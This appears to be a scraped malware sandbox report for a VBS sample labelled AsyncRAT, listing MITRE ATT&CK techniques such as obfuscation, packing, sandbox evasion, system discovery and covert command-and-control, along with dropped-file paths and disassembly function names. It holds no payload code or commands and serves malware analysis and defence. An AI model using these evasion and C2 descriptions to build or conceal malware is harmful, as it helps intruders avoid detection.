Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report qiEmGNhUij.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvgtewv4.0vn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfgj5vub.1ok.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lz031atc.djd.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y1xxb4jj.kzk.ps1

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
qiEmGNhUij.vbs

Function 00007FF88799268D Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 502
processCOMMON

Function 00007FF88799216D Relevance: 1.7, APIs: 1, Instructions: 207
injectionCOMMON

Function 00007FF887991E15 Relevance: 1.7, APIs: 1, Instructions: 182
threadCOMMON

Function 00007FF887991CBD Relevance: 1.7, APIs: 1, Instructions: 153
threadCOMMON

Function 00007FF887A555BE Relevance: .2, Instructions: 228
COMMON

Function 00007FF887A5560A Relevance: .1, Instructions: 146
COMMON

Function 01012074 Relevance: 1.6, APIs: 1, Instructions: 73
libraryCOMMON

Function 01012080 Relevance: 1.6, APIs: 1, Instructions: 71
libraryCOMMON

Function 010122D4 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Function 010122D8 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre